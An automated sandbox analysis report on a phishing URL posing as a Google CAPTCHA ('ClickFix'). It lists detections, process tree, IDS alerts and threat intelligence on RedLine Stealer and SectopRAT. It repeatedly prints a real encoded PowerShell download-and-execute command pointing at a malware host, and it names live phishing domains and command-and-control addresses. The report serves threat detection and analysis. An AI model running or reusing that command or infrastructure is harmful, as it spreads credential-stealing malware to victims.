Edit tour

Windows Analysis Report
https://cta.berlmember.com/google/captcha.html

Overview

General Information

Sample URL:	https://cta.berlmember.com/google/captcha.html
Analysis ID:	1625946
Infos:

Detection

CAPTCHA Scam ClickFix, RedLine, SectopRAT

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detect drive by download via clipboard copy & paste

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected CAPTCHA Scam ClickFix

Yara detected Powershell download and execute

Yara detected RedLine Stealer

Yara detected SectopRAT

AI detected suspicious Javascript

Bypasses PowerShell execution policy

Connects to many ports of the same IP (likely port scanning)

Encrypted powershell cmdline option found

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

Powershell drops PE file

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Suspicious PowerShell Parameter Substring

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious Execution of Powershell with Base64

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6844 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7064 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1948,i,5144366467434062869,11298283985796997681,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cta.berlmember.com/google/captcha.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 7848 cmdline: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AUpdate.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe" MD5: A23DE5ABE855D2A1B1D1ABC22D0B110F)

cmd.exe (PID: 8176 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSBuild.exe (PID: 6416 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\bihsngcs	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\bihsngcs	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\bihsngcs	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb501e:$s14: keybd_event 0xbbf80:$v1_1: grabber@ 0xb5bda:$v1_2: <BrowserProfile>k__ 0xb6667:$v1_3: <SystemHardwares>k__ 0xb6726:$v1_5: <ScannedWallets>k__ 0xb67b6:$v1_6: <DicrFiles>k__ 0xb6792:$v1_7: <MessageClientFiles>k__ 0xb6b5c:$v1_8: <ScanBrowsers>k__BackingField 0xb6bae:$v1_8: <ScanWallets>k__BackingField 0xb6bcb:$v1_8: <ScanScreen>k__BackingField 0xb6c05:$v1_8: <ScanVPN>k__BackingField 0xa853a:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa7e46:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig

Memory Dumps

Source	Rule	Description	Author
00000010.00000002.1924499327.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.1924499327.0000000005BC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.2409011193.0000000000982000.00000002.00000001.01000000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000012.00000002.2409011193.0000000000982000.00000002.00000001.01000000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7848	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: cmd.exe PID: 8176	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: cmd.exe PID: 8176	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6416	JoeSecurity_SectopRAT	Yara detected SectopRAT	Joe Security
Process Memory Space: MSBuild.exe PID: 6416	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6416	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 5 entries

HTML

Source	Rule	Description	Author
1.0.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.2.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
1.1.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA, CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA, ProcessId: 7848, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA, CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA, ProcessId: 7848, ProcessName: powershell.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA, CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA, ProcessId: 7848, ProcessName: powershell.exe

Suricata Signatures

ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-27T20:24:25.433905+0100	2059941	1	Exploit Kit Activity Detected	192.168.2.16	64011	1.1.1.1	53	UDP
2025-02-27T20:24:25.434159+0100	2059941	1	Exploit Kit Activity Detected	192.168.2.16	64005	1.1.1.1	53	UDP
2025-02-27T20:24:26.446735+0100	2059941	1	Exploit Kit Activity Detected	192.168.2.16	59269	1.1.1.1	53	UDP
2025-02-27T20:24:26.446996+0100	2059941	1	Exploit Kit Activity Detected	192.168.2.16	50265	1.1.1.1	53	UDP
2025-02-27T20:24:30.212668+0100	2059941	1	Exploit Kit Activity Detected	192.168.2.16	62804	1.1.1.1	53	UDP
2025-02-27T20:24:30.212806+0100	2059941	1	Exploit Kit Activity Detected	192.168.2.16	58572	1.1.1.1	53	UDP

ET EXPLOIT_KIT Fake ClickFix Domain in TLS SNI (cta .berlmember .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-27T20:24:28.049635+0100	2059942	1	Exploit Kit Activity Detected	192.168.2.16	49704	103.52.144.214	443	TCP
2025-02-27T20:24:28.053241+0100	2059942	1	Exploit Kit Activity Detected	192.168.2.16	49705	103.52.144.214	443	TCP
2025-02-27T20:24:31.885864+0100	2059942	1	Exploit Kit Activity Detected	192.168.2.16	52362	103.52.144.214	443	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-27T20:25:59.363073+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52670	92.255.85.36	9000	TCP
2025-02-27T20:26:00.199149+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52671	92.255.85.36	9000	TCP
2025-02-27T20:26:01.035091+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52672	92.255.85.36	9000	TCP
2025-02-27T20:26:01.857371+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52673	92.255.85.36	9000	TCP
2025-02-27T20:26:02.658724+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52674	92.255.85.36	9000	TCP
2025-02-27T20:26:03.447930+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52675	92.255.85.36	9000	TCP
2025-02-27T20:26:04.246519+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52676	92.255.85.36	9000	TCP
2025-02-27T20:26:05.050153+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52677	92.255.85.36	9000	TCP
2025-02-27T20:26:05.851440+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52678	92.255.85.36	9000	TCP
2025-02-27T20:26:06.666600+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52679	92.255.85.36	9000	TCP
2025-02-27T20:26:07.501112+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52680	92.255.85.36	9000	TCP
2025-02-27T20:26:08.298274+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52681	92.255.85.36	9000	TCP
2025-02-27T20:26:09.108769+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52682	92.255.85.36	9000	TCP
2025-02-27T20:26:09.920580+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52683	92.255.85.36	9000	TCP
2025-02-27T20:26:10.728068+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52684	92.255.85.36	9000	TCP
2025-02-27T20:26:11.588958+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52685	92.255.85.36	9000	TCP
2025-02-27T20:26:12.429976+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52686	92.255.85.36	9000	TCP
2025-02-27T20:26:13.236779+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52687	92.255.85.36	9000	TCP
2025-02-27T20:26:14.035368+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52688	92.255.85.36	9000	TCP
2025-02-27T20:26:14.829729+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52689	92.255.85.36	9000	TCP
2025-02-27T20:26:15.646179+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52690	92.255.85.36	9000	TCP
2025-02-27T20:26:16.456255+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52691	92.255.85.36	9000	TCP
2025-02-27T20:26:17.270858+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52692	92.255.85.36	9000	TCP
2025-02-27T20:26:18.111331+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52693	92.255.85.36	9000	TCP
2025-02-27T20:26:18.935487+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52694	92.255.85.36	9000	TCP
2025-02-27T20:26:19.748003+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52695	92.255.85.36	9000	TCP
2025-02-27T20:26:20.549355+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52696	92.255.85.36	9000	TCP
2025-02-27T20:26:21.349187+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52697	92.255.85.36	9000	TCP
2025-02-27T20:26:22.147200+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52698	92.255.85.36	9000	TCP
2025-02-27T20:26:22.965037+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52699	92.255.85.36	9000	TCP
2025-02-27T20:26:23.780721+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52700	92.255.85.36	9000	TCP
2025-02-27T20:26:24.604264+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52701	92.255.85.36	9000	TCP
2025-02-27T20:26:25.465257+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52702	92.255.85.36	9000	TCP
2025-02-27T20:26:26.283978+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52703	92.255.85.36	9000	TCP
2025-02-27T20:26:27.136725+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52704	92.255.85.36	9000	TCP
2025-02-27T20:26:27.945385+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52705	92.255.85.36	9000	TCP
2025-02-27T20:26:28.776094+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52706	92.255.85.36	9000	TCP
2025-02-27T20:26:29.599620+0100	2052248	1	A Network Trojan was detected	192.168.2.16	52707	92.255.85.36	9000	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-27T20:26:01.035091+0100	2803305	3	Unknown Traffic	192.168.2.16	52672	92.255.85.36	9000	TCP
2025-02-27T20:26:05.050153+0100	2803305	3	Unknown Traffic	192.168.2.16	52677	92.255.85.36	9000	TCP
2025-02-27T20:26:17.270858+0100	2803305	3	Unknown Traffic	192.168.2.16	52692	92.255.85.36	9000	TCP
2025-02-27T20:26:19.748003+0100	2803305	3	Unknown Traffic	192.168.2.16	52695	92.255.85.36	9000	TCP
2025-02-27T20:26:22.965037+0100	2803305	3	Unknown Traffic	192.168.2.16	52699	92.255.85.36	9000	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-27T20:25:04.812654+0100	1810000	2	Potentially Bad Traffic	192.168.2.16	52539	104.26.9.129	443	TCP
2025-02-27T20:25:05.461645+0100	1810000	2	Potentially Bad Traffic	192.168.2.16	52542	172.67.69.88	443	TCP
2025-02-27T20:25:06.489901+0100	1810000	2	Potentially Bad Traffic	192.168.2.16	52546	104.21.68.54	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://cta.berlmember.com/google/captcha.html

Avira URL Cloud: detection malicious, Label: phishing

Antivirus detection for URL or domain

Source: https://cta.berlmember.com/favicon.ico	Avira URL Cloud: Label: phishing
Source: http://45.61.157.205/f1/red	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\bihsngcs

Avira: detection malicious, Label: HEUR/AGEN.1307453

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\bihsngcs

ReversingLabs: Detection: 87%

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://cta.berlmember.com/google/captcha.html... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and heavy obfuscation. The use of the `Function` constructor, encoded strings, and interactions with suspicious domains indicate a high likelihood of malicious intent. This script should be considered a significant security risk.

Source: https://cta.berlmember.com/google/captcha.html	HTTP Parser: No favicon
Source: https://cta.berlmember.com/google/captcha.html	HTTP Parser: No favicon
Source: https://cta.berlmember.com/google/captcha.html	HTTP Parser: No favicon

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Local\Temp\MaxiAir\msvcr90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.26.9.129:443 -> 192.168.2.16:52539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.69.88:443 -> 192.168.2.16:52542 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.68.54:443 -> 192.168.2.16:52546 version: TLS 1.2

Source:	Binary string: t:\ois\x64\ship\0\oisapp.pdb source: AUpdate.exe, 0000000F.00000002.1732986490.00007FFF15A51000.00000020.00000001.01000000.0000000B.sdmp, OISAPP.DLL.15.dr, OISAPP.DLL.13.dr
Source:	Binary string: x64\ship\0\msocf.dll\bbtopt\msocfO.pdb source: AUpdate.exe, 0000000F.00000002.1735743667.00007FFF3BF81000.00000020.00000001.01000000.0000000C.sdmp, MSOCF.DLL.13.dr, MSOCF.DLL.15.dr
Source:	Binary string: t:\cdl\x64\ship\0\cdlmso.pdb64\ship\0\cdlmso.dll\bbtopt\cdlmsoO.pdb source: AUpdate.exe, 0000000F.00000002.1731035387.00007FFF15961000.00000020.00000001.01000000.0000000E.sdmp
Source:	Binary string: t:\cdl\x64\ship\0\cdlmso.pdb source: AUpdate.exe, 0000000F.00000002.1731035387.00007FFF15961000.00000020.00000001.01000000.0000000E.sdmp, CDLMSO.DLL.13.dr, CDLMSO.DLL.15.dr
Source:	Binary string: 64\ship\0\cdlmso.dll\bbtopt\cdlmsoO.pdb source: AUpdate.exe, 0000000F.00000002.1731035387.00007FFF15961000.00000020.00000001.01000000.0000000E.sdmp, CDLMSO.DLL.13.dr, CDLMSO.DLL.15.dr
Source:	Binary string: t:\ois\x64\ship\0\ois.pdbs\x64\ship\0\ois.exe\bbtopt\oisO.pdbX% source: AUpdate.exe.13.dr
Source:	Binary string: 64\ship\0\oisapp.dll\bbtopt\oisappO.pdb source: AUpdate.exe, 0000000F.00000002.1732986490.00007FFF15A51000.00000020.00000001.01000000.0000000B.sdmp, OISAPP.DLL.15.dr, OISAPP.DLL.13.dr
Source:	Binary string: s\x64\ship\0\ois.exe\bbtopt\oisO.pdb source: AUpdate.exe, 0000000F.00000000.1648580528.00007FF7866B1000.00000020.00000001.01000000.0000000A.sdmp, AUpdate.exe.13.dr
Source:	Binary string: t:\ois\x64\ship\0\oisgraph.pdb source: AUpdate.exe, 0000000F.00000002.1732206889.00007FFF159F1000.00000020.00000001.01000000.0000000D.sdmp, OISGRAPH.DLL.15.dr, OISGRAPH.DLL.13.dr
Source:	Binary string: t:\ois\x64\ship\0\ois.pdb source: AUpdate.exe, 0000000F.00000000.1648580528.00007FF7866B1000.00000020.00000001.01000000.0000000A.sdmp, AUpdate.exe.13.dr
Source:	Binary string: ntdll.pdb source: AUpdate.exe, 0000000F.00000002.1720111833.0000000009623000.00000004.00000020.00020000.00000000.sdmp, AUpdate.exe, 0000000F.00000002.1723922796.0000000009A20000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: msvcr90.amd64.pdb source: msvcr90.dll.15.dr, msvcr90.dll.13.dr
Source:	Binary string: wntdll.pdbUGP source: cmd.exe, 00000010.00000002.1921634354.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1915972802.0000000004DDA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: AUpdate.exe, 0000000F.00000002.1720111833.0000000009623000.00000004.00000020.00020000.00000000.sdmp, AUpdate.exe, 0000000F.00000002.1723922796.0000000009A20000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: cmd.exe, 00000010.00000002.1921634354.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.1915972802.0000000004DDA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: t:\ois\x64\ship\0\oisapp.pdb64\ship\0\oisapp.dll\bbtopt\oisappO.pdb source: AUpdate.exe, 0000000F.00000002.1732986490.00007FFF15A51000.00000020.00000001.01000000.0000000B.sdmp, OISAPP.DLL.15.dr, OISAPP.DLL.13.dr
Source:	Binary string: t:\msocf\x64\ship\0\msocf.pdbx64\ship\0\msocf.dll\bbtopt\msocfO.pdb source: AUpdate.exe, 0000000F.00000002.1735743667.00007FFF3BF81000.00000020.00000001.01000000.0000000C.sdmp, MSOCF.DLL.13.dr, MSOCF.DLL.15.dr
Source:	Binary string: t:\cdl\x64\ship\0\cdlmso.pdb64\ship\0\cdlmso.dll\bbtopt\cdlmsoO.pdb@ source: CDLMSO.DLL.13.dr, CDLMSO.DLL.15.dr
Source:	Binary string: t:\ois\x64\ship\0\ois.pdbs\x64\ship\0\ois.exe\bbtopt\oisO.pdb source: AUpdate.exe, 0000000F.00000000.1648580528.00007FF7866B1000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: t:\msocf\x64\ship\0\msocf.pdb source: AUpdate.exe, 0000000F.00000002.1735743667.00007FFF3BF81000.00000020.00000001.01000000.0000000C.sdmp, MSOCF.DLL.13.dr, MSOCF.DLL.15.dr
Source:	Binary string: t:\ois\x64\ship\0\oisgraph.pdb\ship\0\oisgraph.dll\bbtopt\oisgraphO.pdb source: AUpdate.exe, 0000000F.00000002.1732206889.00007FFF159F1000.00000020.00000001.01000000.0000000D.sdmp, OISGRAPH.DLL.15.dr, OISGRAPH.DLL.13.dr
Source:	Binary string: \ship\0\oisgraph.dll\bbtopt\oisgraphO.pdb source: AUpdate.exe, 0000000F.00000002.1732206889.00007FFF159F1000.00000020.00000001.01000000.0000000D.sdmp, OISGRAPH.DLL.15.dr, OISGRAPH.DLL.13.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2059941 - Severity 1 - ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com) : 192.168.2.16:50265 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059941 - Severity 1 - ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com) : 192.168.2.16:64005 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059941 - Severity 1 - ET EXPLOIT_KIT Fake ClickFix Domain in DNS Lookup (cta .berlmember .com) : 192.168.2.16:62804 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059942 - Severity 1 - ET EXPLOIT_KIT Fake ClickFix Domain in TLS SNI (cta .berlmember .com) : 192.168.2.16:49704 -> 103.52.144.214:443
